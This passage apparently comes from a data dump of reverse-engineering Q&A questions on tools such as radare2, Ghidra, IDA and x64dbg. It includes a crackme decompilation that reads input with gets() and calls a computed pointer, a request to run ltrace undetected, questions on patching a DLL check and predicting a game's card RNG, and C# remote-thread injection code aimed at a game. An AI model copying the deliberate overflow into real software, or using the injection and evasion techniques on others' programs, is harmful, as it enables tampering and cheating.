+  int local_14;
+  int local_10;
+  
+  local_10 = 0;
+  puts("\nEnter the password: ");
+  gets(local_1e);
+  iVar1 = strcmp(local_1e,"PAssw0rd");
+  if (iVar1 == 0) {
+    puts("Well done! Unfortunately, you have to try harder.");
+    local_10 = 0;
+  }
+  else {
+    puts("Away now, you anklebiter!");
+  }
+  if (local_10 != 0) {
+    printf("Unexpected error condition. Control char is %d\n",local_10);
+    local_14 = param_2 * local_10;
+    (*(code *)(local_14 + param_1))();
+  }
+
+How can I run ltrace in a way such that it isn't detected? +" +"['x64dbg', 'crackme', 'windows-10']"," Title: A Process does not list on x64dbg attach listBody: I'm learning RE with x64dbg on Windows10.
+It does not list a process in the running process list that I want to attach.
+The Process is running 32-bit crackme application for learning. +It was created by eagle0wl. +http://www.mysys.org/eagle0wl/ +Why x64dbg does not list process?
+I have checked that x64dbg on privilege permission and windows Smart Screen is disabled and so on. +I have no idea why the process does not list as an attached process. +Windows 10 20H2 +" +"['radare2', 'c', 'gcc']"," Title: Radare2 is showing weird disassembly as compared to disassembly of gccBody: Today i was playing around with c code in r2. +I compiled a file which had the following code. +
#include <stdio.h>
+
+int main(){
+        int a=9;
+        float b=1.1;
+        int sum;
+        sum = a+b;
+        printf("%d", sum);
+        return 0;
+
+When I compiled it with gdb with the -S option, the assembly code that I got was normal, it had call to printf, some floating operations everything normal, but when I loaded it to r2 and runned aaa then pdf @main, it showed weird assembly which had no call to printf, only a single floating operation. I don't know why is it happening. If anyone of you can explain me, It would be great. +Here is the weird disassembly : +
┌ 108: int main (int argc, char **argv, char **envp);
+│           0x00402070      83ec1c         sub esp, 0x1c
+│           0x00402073      8b442420       mov eax, dword [esp + 0x20]
+│           0x00402077      c744240c801f.  mov dword [esp + 0xc], 0x1f80 ; [0x1f80:4]=-1
+│           0x0040207f      83f8fd         cmp eax, 0xfffffffd
+│       ┌─< 0x00402082      7431           je 0x4020b5
+│       │   0x00402084      83f8fc         cmp eax, 0xfffffffc
+│      ┌──< 0x00402087      743a           je 0x4020c3
+│      ││   0x00402089      85c0           test eax, eax
+│     ┌───< 0x0040208b      7448           je 0x4020d5
+│     │││   ; CODE XREF from main @ 0x4020da
+│    ┌────> 0x0040208d      83f8ff         cmp eax, 0xffffffff
+│   ┌─────< 0x00402090      742d           je 0x4020bf
+│   │╎│││   0x00402092      83f8fe         cmp eax, 0xfffffffe
+│  ┌──────< 0x00402095      7436           je 0x4020cd
+│  ││╎│││   0x00402097      d920           fldenv [eax]
+│  ││╎│││   0x00402099      0fb7401c       movzx eax, word [eax + 0x1c]
+│  ││╎│││   0x0040209d      8944240c       mov dword [esp + 0xc], eax
+│  ││╎│││   ; CODE XREFS from main @ 0x4020c1, 0x4020d3
+│ ┌───────> 0x004020a1      f60524704000.  test byte [0x407024], 0x10  ; [0x407024:1]=0
+│ ────────< 0x004020a8      7405           je 0x4020af
+│ ╎││╎│││   0x004020aa      0fae54240c     ldmxcsr dword [esp + 0xc]
+│ ────────> 0x004020af      31c0           xor eax, eax
+│ ╎││╎│││   0x004020b1      83c41c         add esp, 0x1c
+│ ╎││╎│││   0x004020b4      c3             ret
+│ ╎││╎││└─> 0x004020b5      c70514404000.  mov dword [0x404014], 0xffffffff ; [0x404014:4]=-1
+│ ╎│└─────> 0x004020bf      dbe3           fninit
+│ ────────< 0x004020c1      ebde           jmp 0x4020a1
+│ ╎│ ╎│└──> 0x004020c3      c70514404000.  mov dword [0x404014], 0xfffffffe ; [0x404014:4]=-1
+│ ╎└──────> 0x004020cd      ff159c814000   call dword [0x40819c]
+│ └───────< 0x004020d3      ebcc           jmp 0x4020a1
+│    ╎└───> 0x004020d5      a114404000     mov eax, dword [0x404014]   ; [0x404014:4]=-1
+└    └────< 0x004020da      ebb1           jmp 0x40208d
+
+" +"['android', 'deobfuscation', 'apk']"," Title: $$Lambda$(number) when decompiled Java bytecodeBody: Why when I decompile a Java bytecode (which further was decompiled from .dex), I get $$Lambda$(number), in Java files, and it's not possible to build project with these java codes as it's insufficient architecture for building project. +Please, read through the README file (on my repository page), as it's explained everything, how I got $$Lambda$(number), in first place (what I used to decompile). +I'm trying to build project (to decompile APK, to get Java and resources), for now, I got resources, and half of java files, but still not enough of java files to build it. +The only problem is I get $$Lambda$(number) from some decompiled Java files, what I'm missing, or this is obfuscation of code. What that lambda means after all? How can I reverse engineer that troubling $$Lambda$? +And to say it again, I talked with developer about this, I just want to make it open source, so others can contribute, developer is stubborn, even if app is free, and he wanted to share it with others, so why not share source code, why just he decides what will be in app, as he already made a lot of bugs in recent versions. +Help me to decompile this Java code without this lambda, to make it open source because developer is too stubborn to do it himself, and I don't know why I'm doing translation, when I don't like new versions of app as it's buggy and slow in performance. +" +['android']," Title: Is is possible to get versioncode and version number of an app in Google Play?Body: I want to get version code and version number of an app via API from Google Play, but some apps don't have it via google play website. You have to enter via Google Play app and then you can get version number. I suppose it use device id to supply this info because version varies with device sometimes. +I know there are APIs like aptoide or 42matters to get this info but it's not updated in the moment, so it could be not real info. +Could anyone help me? +Thanks. +" +"['ida', 'malware', 'idapython', 'ida-plugin']"," Title: Is there any way to STOP the loop of the IDApython?Body: Is there any way to STOP the loop of the IDApython ?

+I want to stop the loop processing of IDAPython with any timing after starting the IDAPython(which contain loop function) from IDApro menu -> File -> Script command. +Is there any keyboard shortcut to stop the script ? +" +['python']," Title: Reversing a TXT obfuscated with pyArmorBody: Ok, so. +PyArmor. Apparently, my friend used it to protect some script, except it's not a python script, it's a few TXT files. Is it possible to reverse engineer it so I can see whats in the actual TXT files? I have the: +
from pytransform import pyarmor_runtime
+pyarmor_runtime()
+__pyarmor__(__name__, __file__, b'\x50\x59\x41\x52\x4d\etc`, 2)
+
+
+thing still. +Any help appreciated! +" +"['static-analysis', 'symbols']"," Title: Why might nm find a few undefined symbols that I can't see with xxd?Body: I'm cross-comparing a few approaches to testing for binaries that import a symbol and I noticed a YARA rule not finding one in sudo that nm + grep could find. +I looked at it in xxd to figure out why, but couldn't find a match. This explains why the YARA rule misses, but leaves me with a new question: how are tools like nm or objdump discovering the symbol? +I checked other the other GLIBC symbols that nm reports to see how common this is, and found 5 symbols that didn't match in the output of xxd: execve exit getpgrp sleep textdomain. (I haven't yet manually verified whether any of the others only fail to match because they're split over a line break, but for this search I did run xxd at a width of 256 cols to minimize the likelihood). +I'm running something like: +
nm --undefined $(type -p sudo)
+xxd -c 40 $(type -p sudo)
+
+Since this outputs a few thousand lines and there may be platform differences in the binary/commands, I went ahead made a GH repo for reference. + +" +"['ida', 'idapython']"," Title: How to show the save dialog box with IDAPython?Body: I want to some strings to the text-file which is chosen from the save dialog box.
+Is there any way to show the save dialog box by IDApython and how to write the script code about that ? +" +['ghidra']," Title: GHIDRA: Create an array of strings that are paddedBody: I'm working on decompiling a DOS .exe that was written in Pascal or Delphi. When looking at the decompiled code, there appears to be many strings that are are padded with 00. Example: +
06 53 54 52 49 4E 47 00 00 00 STRING
+07 41 4E 4F 54 48 45 52 00 00 ANOTHER
+08 4C 41 53 54 7F 4F 4E 45 00 LAST ONE
+
+The leading number is the length of string, using Pascal conventions. If I were to run the .exe, these strings appear in a list. Because of this, I assume that the organization of the strings is supposed to be a list of some sort. +My questions are these: +
    +
  1. Is there a way in Ghidra to puts these string into an Array, with one string per element? When I hit [ it tries to build the array only off the length of the string and the characters of the first string and ignores the 00. +
  2. +
  3. Why was the code compiled this way. It would appear to increase the size of the file with addition padding byte(s), and I see these type of lists all over the decompiled file. +
  4. +
+" +"['radare2', 'c', 'struct']"," Title: How to reverse engineer structs in radare2?Body: Is there any way to indentify structs in radare2? +when i tried to look them, they look like normal variables, i seen people using td and tl command but I don't know how to use them. If you know please explain... +" +"['linux', 'strings', 'command-line']"," Title: Identify strings shared between multiple files from the Linux command lineBody: Given a set of arbitrary files, what's the best way to identify the text strings shared between them (either in all files or a subset of them) from the Linux command line? +This would be useful for quickly identifying ways to write Yara rules for clusters of similar malicious files (for instance, malicious executables). +" +['ollydbg']," Title: Referenced Memory in runtrace for OllyDBG 1.xBody: I wanted to know if there is any way I could get the referenced memory in the run trace? +I tried using OllyDBG 2.x but it doesnt seem to work. +" +"['ida', 'dll', 'hex', 'asm']"," Title: Editing assembly language to bypass the conditionBody: I want to edit the compiled DLL code to bypass the variable checking condition. I tried to change the value in the condition but it causes an application crash. How can I "remove" this condition? +Here is the condition (if statement) + +And here is ASM code + +I was trying change the HEX from +83 F8 FF +to +83 F8 01 +but application crashes. +I don't want crack anything, i want remove version checked because library is older than actual game version +" +"['ida', 'dos', 'dos-exe']"," Title: Where to start analyzing a 16 bit dos program?Body: I've tried to analyze this small exe online. +I've tried with https://onlinedisassembler.com/odaweb/ (link) but it's hard for me to get the first question: + +Why the tool doesn't try to detect the set of instruction by itself? Dos program could run on architectures different from x86? The base address wasn't the same for every dos program? +I tried also with IDA Free, but it says there are tons of problems + +I also tried with radare2 but it's really hard for me.. +
I've found this info through virustotal:
+File type   DOS EXE
+Magic   MS-DOS executable, MZ for MS-DOS
+TrID    EXEPACK compressed DOS Executable (68.2%)
+TrID    Clipper DOS Executable (10.5%)
+TrID    Generic Win/DOS Executable (10.5%)
+TrID    DOS Executable Generic (10.4%)
+TrID    VXD Driver (0.1%)
+File size   63.16 KB (64680 bytes)
+
+EDIT: thanks to the advice I used radare + a graphical interface called Cutter. It seems to work properly but I can't understand how to export the whole pseudocode + +" +"['memory', 'process', 'libraries', 'macos']"," Title: macOS under M1, cannot find libraryBody: I'm looking for the following dylib file which is included from process loginwindow. +If I run vmmap to inspect loginwindow while it's up and running I get : +user@mycomp / % sudo vmmap -I ``pgrep loginwindow`` | grep libIASUnifiedProgress.dylib +
__TEXT                      1c7566000-1c756e000    [   32K    32K     0K     0K] r-x/r-x SM=COW          /usr/lib/libIASUnifiedProgress.dylib
+__DATA_CONST                1fdd05628-1fdd06438    [  3600   3600     0K     0K] rw-/rw- SM=COW          /usr/lib/libIASUnifiedProgress.dylib
+__DATA                      200ff1f18-200ff27b0    [  2200   2200     0K     0K] rw-/rw- SM=COW          /usr/lib/libIASUnifiedProgress.dylib
+__AUTH_CONST                207d4b260-207d4c008    [  3496   3496     0K     0K] rw-/rw- SM=COW          /usr/lib/libIASUnifiedProgress.dylib
+__OBJC_CONST                207d4c008-207d4c368    [   864    864     0K     0K] rw-/rw- SM=COW          /usr/lib/libIASUnifiedProgress.dylib
+__DATA_DIRTY                20a5b9250-20a5b9460    [   528    528    528     0K] rw-/rw- SM=COW          /usr/lib/libIASUnifiedProgress.dylib
+
+however, the file doesn't appear to be there ... I'm guessing it's some new trick made by Apple, perhaps do you know how can I find it anyway ? +Thanks, +" +['ios']," Title: What kind of random algorithm is used in this game?Body: I am playing a game for iOS that uses a deck of 48 cards and I would like to reverse engineer the kind of algorithm that is used to generate the random deck of cards such that I can predict which card will show up next. This is what I know about the game. + +Is there someone with experience in random number generators, especially ones commonly used for iOS apps coded in Unity, who has an idea of what kind of algorithm could be used to generate the decks? Could some sort of shuffle algorithm be used? +Edit: I have attempted to shuffle an array using the .NET System.Random class according to this answer where the random object was initiated using a seed of 0. +https://stackoverflow.com/a/108836 +But the problem is that the array is shuffled pseudo-randomly, unlike the game where the ”array” is ordered. That is why I think that a type of ”Random.next()” call doesn’t seem to be used. Could there be some multiplication involved? It would explain why a zero seed leaves the deck unchanged. +" +"['assembly', 'arm']"," Title: Help understanding ARM Cortex-M4 SBC instructionBody: Page 88 of the ARM Cortex-M4 Generic User Guide says "The SBC instruction subtracts the value of Operand2 from the value in Rn. If the carry flag is CLEAR, the result is reduced by one." Why the result is reduced by 1 when the carry flag is CLEAR rather than SET? I think the SBC instruction subtracts the value of the carry flag from the result of subtracting operand2 from Rn, therefore the result is reduced by 1 when the carry flag is SET. Am I wrong? +" +"['ida', 'idapython']"," Title: How to get dynamically changing xrefs with IDAPythonBody: There is a situation where the number of xrefs for a function is dynamically increasing due to the dynamic creation of memory with execution rights attached by VirtualAlloc.
I want to get the xrefs of the function, and in this situation, if I check manually in the UI, I get 8 references, but if I use IDAPython to get CodeRefsTo/XrefsTo, I only get 3.
This is probably due to the fact that IDAPython does not allow xrefs to be applied to code regions dynamically allocated by VirtualAlloc, or because the cache is not updated. What is the best way to get dynamically changing xrefs with IDAPython ? Can you give me some ideas? +" +"['c++', 'hardware', 'driver', 'kernel', 'security']"," Title: exports kernel Windows for informations on hardwareBody: Good day! I develop small security software and use a driver like any modern security software. Can you please tell me if there are any exported functions from ntoskrnl.exe or hal.dll or other kernel mode modules to get the PC hardware ID. It seems that game programs use such approaches for deanonymization... +" +"['windows', 'debugging', 'windbg', 'pages']"," Title: kd live local debugging !pte and db don't work (only shows context of the debugger for all contexts), but !vtop worksBody: +Says the PDPT and PDs of the process are at the same physcial frames (pfns) in both processes. +The first process is winword.exe and the second process is calc.exe +The virtual address in the first case is the start of the virtual page containing the header of winword.exe, which VMMap shows to be in the shareable working set, but yet the output shows that the entry in the PDE hasn't ever even been touched. +I then try that virtual address in calc.exe, where VMMap shows no VAD allocation to that range, and it shows the same identical output. +This suggests to me that !pte is showing me the output of some other process, and I can't change it away from that and using .process alone and .process + .context with the correct dirbases (cr3/PML4 physical pages) doesnt work. +I'm using kd -kl, not livekd. +This also happens in windbg. Furthermore, I get the same pfns for both outputs, and those pfns change to a new set every time I reopen the debugger, which suggests that it is using the debuggers context. Is this a limitation with local debugging? I would have thought that a kernel driver would be able to do this correctly. +process /p does nothing, and !peb correctly shows the different PEBs of the 2 different processes, but !pte still appears to be using the context of kd +!vtop appears to be working correctly: + +The problem is reproducible also on windbg (version 6.12) and also I tried version 10. This seems to be related. So does this (dreadful answer). +I translated the virtual address to the virtual address of its PTE using this technique (which is of course the same address that was attempted to be shown in the !pte output, and will be the same PTE address for that virtual address in the context of every process) and db shows nothing at that address either: + +You still need to select the process context because the user side of the page tables as well as PML4 are mapped in differently for each process. +db lines up with new state of 0x13fe60000 according to !pte: + +but !vtop works correctly: + +I mean, the difference is that !vtop is accessing physical memory whereas !db and !pte access virtual memory. !peb works correctly and accesses virtual memory, but is user mode. It seems that it is struggling with reading kernel virtual addresses. +" +"['ghidra', 'decompiler']"," Title: Can I ignore this Ghidra USTACK var?Body: I'm new to ghidra but best I can tell the decompiler here is just plain wrong. Just want to make sure that I'm not somehow missing some x64 or fastcall concept here and that I'm right that I can safely ignore this output. +Machine Code + ASM: +
...  
+1800170da    8b fa           - MOV EDI, EDX
+1800170dc    48 8b d9        - MOV RBX, RCX
+1800170df    ba 01 00 00 00  - MOV EDX, 1
+1800170e4    3b fa           - CMP EDI, EDX  
+1800170e6    75 05           - JNZ some_label  
+1800170e8    e8 a7 d2 00 00  - CALL some_function  
+some_label:  
+1800170ed    8b d7           - MOV EDX, EDI  
+...
+
+What I think this should equate to: +
if (param_2 == 1) {
+    some_function(); // function definition and args don't matter
+}
+
+What Ghidra gives: +
if (param2 == 1) {
+    uStack47 = 0x1800170ed;
+    some_function();
+}
+
+Since this uStack47 looks like it's just the EIP value after some_label I'm not sure why ghidra would even bother showing this. As far as I can tell you would just "fall through" the control statement right into the label with EIP incrementing as normal. Is this just a case of decompilers being not very good? +" +['radare2']," Title: What does anal.hasnext actually do?Body: I am trying to understand anal.hasnext control flow configuration option of Radare. The documentation says "Continue analysis after each function. Forces to find a function, after the end of a function." So how far does it continue analysis after the end of a function. Does it stop after finding one more function after the end or continue further. At what point does it stop? Without this would it stop at the ret instruction? Can someone give me code example in C where this could be useful. +" +"['assembly', 'debugging', 'gdb', 'debuggers']"," Title: GDB inserting breakpoint cause Segmentation FaultBody: I was trying to play around with gdb, and I'm especially interest in seeing how the Procedural Linkage Table(PLT) and the Global Offset Table (GOT) interact with each other. So I set some breakpoints and see how the process work step by step. Interestingly enough, when I set breakpoints at certain instruction, I got segmentation fault, and I could not understand why. I simply stop at that instruction. Why would my program give me a segmentation fault? I'm just curious about this behavior. I screenshot the behavior. The red line encloses where I insert a breakpoint, and the program start to receive segfault. + +" +"['decompilation', 'decompile', 'decompiler', 'compilers', 'compiler-optimization']"," Title: Decompilation of CIL code into some high level code - do I need to introduce new variables during data flow analysis?Body: I'm writing a compiler from .NET CIL code to some high level language. Process is similar to decompilation. I have done some control flow analysis - detecting loops, ifs, and so on. In terms of data flow analysis i've done simple expression propagation by simulating some instructions involving evaluation stack - I treat evaluation stack as hidden variable, push more complex expressions on it, and whenever there is any assignment instruction to some variable (for example starg or stloc) - I pop and assign propagated expression from stack to this variable and translate this expression into statement in high language code. Of course for now it is so simple that it generates failures. Consider a function written in C#: +
int GCD(int n1, int n2)
+{
+    while(n2 != 0)
+    {
+        int c = n1 % n2;
+        n1 = n2;
+        n2 = c;
+    }
+
+    return n1;
+}
+
+This function compiles to IL: +
.method private hidebysig 
+    instance int32 GCD (
+        int32 n1,
+        int32 n2
+    ) cil managed 
+{
+    .maxstack 8
+
+    IL_0000: br.s IL_000a
+        IL_0002: ldarg.1    // load n1 on eval stack
+        IL_0003: ldarg.2    // load n2 on eval stack
+        IL_0004: rem        // pop n1 and n2 from stack, compute n1 % n2 and push it on stack
+        IL_0005: ldarg.2    // load n2 on stack
+        IL_0006: starg.s n1 // pop n2 from stack and store it in n1
+        IL_0008: starg.s n2 // pop n1 % n2 from stack and store it in n2
+
+        IL_000a: ldarg.2
+        IL_000b: brtrue.s IL_0002
+
+    IL_000d: ldarg.1
+    IL_000e: ret
+}
+
+With this simple propagation we push n1 % n2 on stack, then load n2 on stack, then we have starg instruction, so we pop expression from stack and translate assignment to statement. Then we pop again, and do the same. Result code looks like this: +
GCD(n1, n2) {
+    while (n2) { 
+        n1 = n2;
+        n2 = (n1 % n2); 
+    }
+    return n1;
+}
+
+This indicates that I have to do something inverse to dead code elimination, maybe called like "necessary code introduction". I searched for some sources about methods to introduce new variables in decompilation, but I did not find any. Do you have any ideas? +" +"['disassembly', 'windows', 'debugging', 'debuggers']"," Title: Switch between debuggers while paused on a breakpointBody: Is it possible to switch between debuggers and preserve where you are paused? Often times I find myself wanting to use a feature from a different debugger while paused in a specific context as each of them have their strengths (IDA has source level stepping, x32dbg has excellent patching, call stacks and easy to use hardware breakpoints, Visual Studio can cast memory to C++ structs in the Watch window). Some are more useful in getting to a destination than others. Is there any kind of software available that enables this feature? +" +"['disassembly', 'windows', 'functions', 'stack', 'x86-64']"," Title: does mov DWORD PTR 32[rsp], 5 means mov DWORD PTR [rsp+32], 5?Body: I am learning about windows x64 calling convention, where the first four arguments are passed to registers and left arguments are passed through the stack. To see it, I checked the assembly of the test file that I made. I understood the passing of first four arguments through the register, the left arguments were passed through the stack but I didn't understood the assembly of the instruction. It looked like this: +
mov DWORD PTR 40[rsp], 6
+mov DWORD PTR 32[rsp], 5
+
+I don't know what does 40[rsp] means, maybe rsp+40 . +If anyone knows, please explain to me +" +"['ida', 'idapython']"," Title: Is it possible to ""jump"" to another address when script detects jmp?Body: here is the original C++ source code of the executable that I've created to do simple RE +
#include <iostream>
+
+void myFunction() {
+
+    printf("Hello!");
+}
+
+int main()
+{
+    myFunction();
+    return 0;
+}
+
+When I disassembled my executable in IDA, this is the first block that I see + +With the address being 0x4112c1 + +I've created a simple IDAPython script to find out what is the next address after the jump _main_0 +
from idautils import *
+from idaapi import *
+from idc import *
+
+cursor = 0
+start_addr = 0
+end_addr = 0
+print("----------Starting python script----------\n")
+for func in Functions():
+    name = get_func_name(func)
+    if "_main" == name:
+        start_addr = get_func_attr(func, FUNCATTR_START)
+        end_addr = get_func_attr(func, FUNCATTR_END)
+        print("Start: 0x%x, End: 0x%x" %(start_addr, end_addr))
+
+cursor = start_addr
+print('0x%x %s' % (cursor, generate_disasm_line(cursor, 0)))
+cur_addr = next_head(cursor, end_addr)
+print("Next Head: 0x%x" %cur_addr)
+print("---------Exiting Python script------")
+
+And this is the following output: +
----------Starting python script----------
+
+Start: 0x4112c1, End: 0x4112c6
+0x4112c1 jmp     _main_0
+Next Head: 0xffffffff
+---------Exiting Python script------
+
+I have 2 questions I would like to ask: +
    +
  1. May I ask why isn't the address of the next head 0x411930 (which is the address of _main_0, as shown in the screenshot below) ? +
  2. +
  3. Is it possible to make the script go to the address of the mentioned function when it detects a jump statement? (because I thought next head will do the trick)
  4. +
+**Disclaimer: I'm kinda new to RE and IDAPython so do bear with me if I ask too much +" +['ida']," Title: IDA - How do I find every call to a subBody: I'm using IDA to try and understand how a particular executable works. I've found the routine I'm interested in IDA Pro and it all makes perfect sense, in so much as I can see exactly the process play out as I'd expect. +What I'm very confused about, though, is that I get to the top of the routine and I can't find any calls of references to it. To be clear, this is an executable and there are no exported functions - it's actually a Windows service. +If I right click and List Crossreferences I just a get single line in rdata? Is there anyway to find what calls this routine? +" +"['radare2', 'ios', 'kernel', 'offset']"," Title: Radare2 - ""/c pointer; offset"" command not giving expected response to search instances of the same pair of similar instructionsBody: I am trying to find an offset IOSURFACEROOTUSERCLIENT_VTAB from an iOS kext(IOSurface) using radare2 and there is a need to use the command "/c pointer; offset" as per the instructions in this gist. On performing the command the expected out put is a list of locations where the specific instruction occurs. +But when i try to run, the previous commands do work as expected. Except for the above command which gives the following output: +
[0xfffffff00688b0d4]> "/c 0xfffffff007622000; 0x898"
+Usage: /c   Search for crypto materials
+| /ca                 Search for AES keys expanded in memory
+| /cc[algo] [digest]  Find collisions (bruteforce block length values until given checksum is found)
+| /cd                 Search for ASN1/DER certificates
+| /cr                 Search for ASN1/DER private keys (RSA and ECC)
+
+I'm getting the same response when the double quotes are dropped. +Please help me understand what is wrong here, or if the format for radare2 has changed over the course of time or if I missed something. +I did read the radare2 docs and but could not find any format in this form: "/c pointer; offset" +Thanks! +" +"['decompilation', 'decryption', 'java', 'decompile', 'jar']"," Title: How do I decode or decompile this class It seems codes are encrypted?Body: I've used JD-Gui, Luyten and other couple of Java Decompilers but it's not working what is the problem in here? Thanks! It's A Mod (Minecraft) and I'm porting into different versions. +Code: +
public class \ua6ad\ua6ad\ua6b3\ua6ae extends GuiScreen
+{
+    public ArrayList<\ua6ae\ua6b3\ua6b3\ua6ad> \ua6b2\ua6ad\ua6ae\ua6b0;
+    public static final boolean \u2006\u2009\u2003\u2003\u2009\u2003\u200c;
+    
+    public \ua6ad\ua6ad\ua6b3\ua6ae() {
+        final boolean \u2006\u2009\u2003\u2003\u2009\u2003\u200c = \ua6ad\ua6ad\ua6b3\ua6ae.\u2006\u2009\u2003\u2003\u2009\u2003\u200c;
+        if (!\u2006\u2009\u2003\u2003\u2009\u2003\u200c && !\u2006\u2009\u2003\u2003\u2009\u2003\u200c) {
+            this.\ua6b2\ua6ad\ua6ae\ua6b0 = new ArrayList<\ua6ae\ua6b3\ua6b3\ua6ad>();
+            if (!\u2006\u2009\u2003\u2003\u2009\u2003\u200c && !\u2006\u2009\u2003\u2003\u2009\u2003\u200c) {
+                int n = (int)((long)(-81003269) ^ (long)(-81003266));
+                if (!\u2006\u2009\u2003\u2003\u2009\u2003\u200c && !\u2006\u2009\u2003\u2003\u2009\u2003\u200c) {
+                    final \ua6af\ua6ae\ua6ad\ua6ad.Category[] \ua6af\ua6ae\ua6ad\ua6b3;
+                    final int length = (\ua6af\ua6ae\ua6ad\ua6b3 = \ua6af\ua6ae\ua6ad\ua6ad.Category.\ua6af\ua6ae\ua6ad\ua6b3()).length;
+                    if (!\u2006\u2009\u2003\u2003\u2009\u2003\u200c && !\u2006\u2009\u2003\u2003\u2009\u2003\u200c) {
+                        int n2 = (int)((long)(-163476696) ^ (long)(-163476696));
+                        if (!\u2006\u2009\u2003\u2003\u2009\u2003\u200c) {
+                            while (!\u2006\u2009\u2003\u2003\u2009\u2003\u200c) {
+                                if (n2 < length && !\u2006\u2009\u2003\u2003\u2009\u2003\u200c) {
+                                    if (\u2006\u2009\u2003\u2003\u2009\u2003\u200c || \u2006\u2009\u2003\u2003\u2009\u2003\u200c) {
+                                        break;
+                                    }
+                                    final \ua6af\ua6ae\ua6ad\ua6ad.Category category = \ua6af\ua6ae\ua6ad\ua6b3[n2];
+                                    if (\u2006\u2009\u2003\u2003\u2009\u2003\u200c || \u2006\u2009\u2003\u2003\u2009\u2003\u200c) {
+                                        break;
+                                    }
+                                    final \ua6ae\ua6b3\ua6b3\ua6ad \ua6ae\ua6b3\ua6b3\ua6ad = new \ua6ae\ua6b3\ua6b3\ua6ad(category);
+                                    if (\u2006\u2009\u2003\u2003\u2009\u2003\u200c || \u2006\u2009\u2003\u2003\u2009\u2003\u200c) {
+                                        break;
+                                    }
+                                    \ua6ae\ua6b3\ua6b3\ua6ad.\ua6ae\ua6b1\ua6b1\ua6ae(n);
+                                    if (\u2006\u2009\u2003\u2003\u2009\u2003\u200c || \u2006\u2009\u2003\u2003\u2009\u2003\u200c) {
+                                        break;
+                                    }
+                                    this.\ua6b2\ua6ad\ua6ae\ua6b0.add(\ua6ae\ua6b3\ua6b3\ua6ad);
+                                    if (\u2006\u2009\u2003\u2003\u2009\u2003\u200c || \u2006\u2009\u2003\u2003\u2009\u2003\u200c) {
+                                        break;
+                                    }
+                                    n += \ua6ae\ua6b3\ua6b3\ua6ad.\ua6b1\ua6b0\ua6ae\ua6b1() + (int)((long)1900478814 ^ (long)1900478815);
+                                    if (\u2006\u2009\u2003\u2003\u2009\u2003\u200c || \u2006\u2009\u2003\u2003\u2009\u2003\u200c) {
+                                        break;
+                                    }
+                                    ++n2;
+                                    if (\u2006\u2009\u2003\u2003\u2009\u2003\u200c) {
+                                        break;
+                                    }
+                                    if (\u2006\u2009\u2003\u2003\u2009\u2003\u200c) {
+                                        throw null;
+                                    }
+                                    continue;
+                                }
+                                else {
+                                    if (!\u2006\u2009\u2003\u2003\u2009\u2003\u200c) {
+                                        return;
+                                    }
+                                    break;
+                                }
+                            }
+                        }
+                    }
+                }
+            }
+        }
+    }
+
+" +['ghidra']," Title: How to add a new CompilerSpec from a .cspec file to Ghidra?Body: Ghidra uses .cspec files like x86win.cspec to define compiler related information, which are imported in the .ldef files like x86.ldef that define a processor language. +How can I add a new CompilerSpec via a .cspec file to Ghidra without editing the existing .ldef file which is inherently part of the Ghidra core, but also without adding a new processor (with a new .ldef file)? This should also work with analyzeHeadless, so no just adding it in the GUI. +This will probably end up requiring an extension which isn't an issue, I just don't know where to either put the file so it gets automatically loaded, or which API functions to call as part of the extension initialization to add the new CompilerSpec. The classes that implement the CompilerSpec interface have public constructors, that take the .cspec file as a parameter, but this doesn't look like it will be automatically added then after just creating an instance of it. +" +['radare2']," Title: `af` vs `afr` in Radare2Body: I am trying to understand the difference between analyze functions and analyze functions recursively in Radare2. Given a code snippet like this: +
#include <stdio.h>
+
+void b() {
+    printf("b is called\n");
+}
+
+void a() {
+   printf("a is called\n");
+   b();
+}
+
+
+int main() {
+    a();
+    return 0;
+}
+
+When I run afr on the main function, it finds the following functions: +
0x0000066a    1 21           main
+0x0000064d    1 29           sym.a
+0x00000510    1 6            sym.imp.puts
+0x0000063a    1 19           sym.b
+
+However, when I run af on the main function, it again finds the same functions: +
0x0000066a    1 21           main
+0x0000064d    1 29           sym.a
+0x00000510    1 6            sym.imp.puts
+0x0000063a    1 19           sym.b
+
+I have not changed the default value of anal.calls which is set to false +So, my question is what extra is afr finding that af isn't? +I am using Radare2 version 5.1.1 +" +"['windows', 'pe', 'injection']"," Title: Why a single ""nop"" crashed the game?Body: I hope answer to my question is not game/app specific and can be answered in communities like this. +So, I tried to use some internal functions of a game, like pick a target. No malicious intentions, just wanted to do it work and use it once. +I used "nop" as temporally asm code to inject, so I will sure that I do something wrong in my inject method and not in asm code I'm trying to inject. To my surprise is the single "nop" been the reason the game crashed. +My question is why? How can I break something by doing nothing? +Then after "nop" I added "ret" as Google said me. +and game didn't crash, tried this on function I was tried to call and also worked fine. +Injector code(c#): +
        [DllImport("kernel32.dll", EntryPoint = "CloseHandle")]
+        public static extern int CloseHandle(int hObject);
+
+        [DllImport("kernel32.dll")]
+        public static extern Int32 WriteProcessMemory(int hProcess, int lpBaseAddress, byte[] buffer, int size, int lpNumberOfBytesWritten);
+
+
+        [DllImport("kernel32", EntryPoint = "CreateRemoteThread")]
+        public static extern int CreateRemoteThread(int hProcess, int lpThreadAttributes, int dwStackSize, int lpStartAddress, int lpParameter, int dwCreationFlags, ref int lpThreadId);
+
+
+        [DllImport("kernel32", EntryPoint = "WaitForSingleObject")]
+        public static extern int WaitForSingleObject(int hHandle, int dwMilliseconds);
+
+
+        [DllImport("Kernel32.dll")]
+        public static extern System.Int32 VirtualAllocEx(int hProcess, int lpAddress, int dwSize, int flAllocationType, int flProtect);
+
+        [DllImport("Kernel32.dll")]
+        public static extern System.Int32 VirtualFreeEx(int hProcess, int lpAddress, int dwSize, int flAllocationType);
+
+        [DllImport("kernel32.dll", EntryPoint = "OpenProcess")]
+        public static extern int OpenProcess(int dwDesiredAccess, int bInheritHandle, int dwProcessId);
+
+        private const int PAGE_EXECUTE_READWRITE = 0x4;
+        private const int MEM_COMMIT = 4096;
+        private const int MEM_RELEASE = 0x8000;
+        private const int MEM_DECOMMIT = 0x4000;
+        private const int PROCESS_ALL_ACCESS = 0x1f0fff;
+        private const int PROCESS_CREATE_THREAD = 0x2;
+        private const int PROCESS_VM_OPERATION = 0x8;
+        private const int PROCESS_VM_WRITE = 0x20;
+
+
+        public void Inject(byte[] data,int pid)
+        {
+            int hwnd = 0;
+            int addre = 0;
+            int threadhwnd = 0;
+            if (pid != 0)
+            {
+                hwnd = OpenProcess(PROCESS_ALL_ACCESS | PROCESS_CREATE_THREAD | PROCESS_VM_WRITE, 0, pid);
+                if (hwnd != 0)
+                {
+                    addre = VirtualAllocEx(hwnd, 0, data.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
+                    WriteProcessMemory(hwnd, addre, data, data.Length, 0);
+                    int threadid = 0;
